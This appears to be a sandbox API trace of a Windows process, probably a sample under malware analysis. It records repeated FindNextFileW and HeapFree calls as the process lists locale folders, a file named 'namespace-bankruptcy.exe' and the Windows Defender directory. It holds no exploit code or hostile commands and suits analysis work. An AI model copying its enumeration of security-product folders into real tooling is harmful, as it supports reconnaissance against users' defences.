	[0087.415] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3d2b8e00, ftLastWriteTime.dwHighDateTime=0x1d2c281, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0087.415] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.415] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84fae3d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1
	[0087.415] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.415] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa85726e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1
	[0087.415] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.415] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8575326, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3ae466, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1
	[0087.416] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.416] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x57d93800, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xee2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LanguageSelector.js", cAlternateFileName="LANGUA~1.JS")) returned 1
	[0087.416] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.416] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa860670d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1
	[0087.416] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.416] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8608b57, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1
	[0087.416] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.416] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x1f852a00, ftLastWriteTime.dwHighDateTime=0x1d3225d, nFileSizeHigh=0x0, nFileSizeLow=0x13d, dwReserved0=0x0, dwReserved1=0x0, cFileName="metadata.json", cAlternateFileName="METADA~1.JSO")) returned 1
	[0087.417] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.417] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8664e62, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3fa8d2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1
	[0087.417] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.417] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86afcc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-BE", cAlternateFileName="")) returned 1
	[0087.417] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.417] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86b1f8a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1
	[0087.418] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.418] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8706406, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nn-NO", cAlternateFileName="")) returned 1
	[0087.418] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.418] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa870879d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f741ca5, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1
	[0087.418] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.418] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f9f0764, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8758deb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8fb21a2e, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0087.419] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.419] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8fb940f6, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa879d17a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x910709ea, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0087.419] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.419] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x910709ea, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8805329, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ab8c63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources", cAlternateFileName="RESOUR~1")) returned 1
	[0087.419] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.419] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8807941, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91b2b4b0, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1
	[0087.419] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.419] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91b515fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8880860, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ca8b67, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1
	[0087.420] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.420] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88ef27e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92500ff3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1
	[0087.420] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.420] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x926583f5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88f19a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92906e91, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1
	[0087.420] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.420] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8945b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92eb078f, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1
	[0087.420] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.420] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92eb078f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a33d41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x934cc975, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1
	[0087.421] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.421] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x934cc975, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a36304, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93670243, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1
	[0087.421] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.421] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8b3c077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93991459, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1
	[0087.421] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.421] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c00614, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93a9c3f1, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1
	[0087.421] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.421] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93b5b0aa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c62177, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x949a9132, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi-VN", cAlternateFileName="")) returned 1
	[0087.422] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.422] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c9dee8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94c57ba9, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1
	[0087.422] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.422] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db6dd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1
	[0087.422] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.422] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db965a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0087.423] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.423] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db965a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0
	[0087.423] FindClose (in: hFindFile=0x811948 | out: hFindFile=0x811948) returned 1
	[0087.423] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0087.423] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d8d47d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x89d8d47d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x89d8d47d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x455c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Detector_131491847713900000.xml", cAlternateFileName="DETECT~1.XML")) returned 1
	[0087.423] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0087.424] FindNextFileW (in: hFindFile=0x811988, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa755519f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91be532c-f9f1-406a-9858-43697c6f437a}", cAlternateFileName="{91BE5~1")) returned 0
	[0087.424] FindClose (in: hFindFile=0x811988 | out: hFindFile=0x811988) returned 1
	[0087.424] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0087.424] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa74805fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x865d24d3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Campaigns", cAlternateFileName="CAMPAI~1")) returned 0
	[0087.424] FindClose (in: hFindFile=0x811c88 | out: hFindFile=0x811c88) returned 1
	[0087.425] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0087.425] FindNextFileW (in: hFindFile=0x811e08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c52ff94, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8accfe6f, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x8accfe6f, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1
	[0087.425] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0087.425] FindNextFileW (in: hFindFile=0x811e08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a765f70, ftCreationTime.dwHighDateTime=0x1d58dde, ftLastAccessTime.dwLowDateTime=0x76891810, ftLastAccessTime.dwHighDateTime=0x1d5d5e9, ftLastWriteTime.dwLowDateTime=0x76891810, ftLastWriteTime.dwHighDateTime=0x1d5d5e9, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="namespace-bankruptcy.exe", cAlternateFileName="NAMESP~1.EXE")) returned 1
	[0087.425] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0087.426] FindNextFileW (in: hFindFile=0x811b88, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe6bd293f, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe6bd293f, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1
	[0087.429] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0087.429] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a5b2a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a5b2a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a5b2a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb2fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EppManifest.dll", cAlternateFileName="")) returned 1
	[0087.430] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0087.430] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26aa7774, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26aa7774, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x851a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProtectionManagement.dll", cAlternateFileName="")) returned 1
	[0087.430] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
